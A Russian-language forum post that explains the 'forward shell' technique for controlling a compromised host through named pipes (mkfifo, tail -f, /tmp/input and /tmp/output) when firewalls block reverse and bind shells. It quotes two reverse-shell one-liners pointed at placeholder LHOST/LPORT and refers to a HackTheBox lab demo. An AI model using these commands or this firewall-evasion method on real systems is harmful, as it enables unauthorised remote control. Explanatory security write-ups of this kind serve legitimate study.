Статья FwdSh3ll: Когда Reverse и Bind не смогли, Forward-Shell спешит на помощь

Привет коллегам по несчастью offensive security!

Уже только ленивый не писал про устройство Reverse-Shell'ов и Bind-Shell'ов, их отличия друг от друга и когда что лучше применять. Далеко ходите не нужно — вот замечательная статья от Мистера Бертони, где все разложено по полочкам. Но что если сложилась такая ситуация: машина уязвима к удаленному выполнению кода, а ни первый, ни второй тип шелла получить не удается в силу жестко фильтруемого исходящего/входящего трафика? Тогда на помощь может придти концепция Forward-Shell'а, о которой я узнал только недавно, и о которой моментально захотелось поведать миру, т. к. информации об этом способе удаленного контроля сервера немного.

Начнем с краткого повторения.

Reverse-Shell

Что такое Reverse-Shell? Это когда так:

Машина жертвы самостоятельно отправляет шелл на удаленный порт машины атакующего.

Bind-Shell

Что такое Bind-Shell? Это когда так:

Машина жертвы ждет атакующего на локальном порту с шеллом.

Forward-Shell

Теперь самое интересное.

Что же такое Forward-Shell?

Это концепция взаимодействия с удаленным хостом, в основе которой лежит использование

Ссылка скрыта от гостей

. Схема работы такова:

Разберем подробнее:

1. На машине жертвы посредством RCE-уязвимости с помощью mkfifo создается именованный пайп (скажем, /tmp/input), вход которого привязывается через tail -f к shell-процессу, а выход редиректится в текстовый файл (скажем, /tmp/output).
2. Машина атакующего записывает желаемую команду в /tmp/input.
3. В силу особенностей строения именованных каналов в UNIX и специфике поведения утилиты tail с флагом -f, команда будет исполнена привязанным shell-процессом, а вывод перенаправлен в /tmp/output.
4. Машина атакующего читает результат из /tmp/output.
5. Для эмуляции полноценного шелла повторить шаги [2-5].

В чем здесь главное отличие от того же реверс-шелла, собранного с помощью bash'а вот так:

bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1

или так:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f

В том, что машина жертвы никуда не отправляет вывод выполненных инструкций. Для нее все происходит локально, а следовательно, незачем бить тревогу файерволу, к примеру, ведь все легально. А мы уж, так и быть, сами прочитаем то, что было исполнено. Также хочется отметить, что при таком подходе сохраняются все прелести Reverse- и Bind- шеллов: система помнит твою рабочую директорию, можно спаунить pty-процессы и работать потом из-под них (см. скриншот выше) и т. д.

Очевидно, что для успешной постановки всего вышеописанного спектакля, необходима RCE-уязвимость (например, в веб-сервисе) плюс доступ с машины жертвы к:

1. любому шеллу (будь то sh, bash, zsh, fish, t(csh), ksh, <подставь_какой_сам_вспомнил>);
2. /usr/bin/mkfifo (для создания именованных пайпов);
3. /usr/bin/tail (для того, чтобы держать процесс шелла активным);
4. желательно /usr/bin/base64 (чтобы не мучаться с escape-символами при доставке пейлоадов).

Интереса ради был написан крошечный фреймворк FwdSh3ll (на питоне), чтобы хоть немного автоматизировать работу описанного механизма для различных уязвимостей. Конечно, дело тонкое, и скорее всего каждая машина будет требовать изменений в коде по мелочи, но идея ясна.

Ссылка скрыта от гостей

Демка показывает процесс захвата tomcat8 (юзера, создаваемого Apache Tomcat) на машине

Ссылка скрыта от гостей

с HackTheBox'а с использованием уязвимости

Ссылка скрыта от гостей

и пейлоада

Ссылка скрыта от гостей

.

Вместо заключения

Думаю, автором идеи можно считать IppSec'а, у которого я впервые увидел применение такой техники. В видео про Sokar с VulnHub'а и тот же Stratosphere еще раз наглядно демонстрируется принцип ее (техники) работы.

За этим все, спасибо за внимание!

Полезные ссылки

• snovvcrash -- FwdSh3ll
• Ссылка скрыта от гостей
• IppSec -- Sokar
• IppSec -- Stratosphere

 

[Vander]

Отличный материал, постараюсь дополнить в отдельной статье.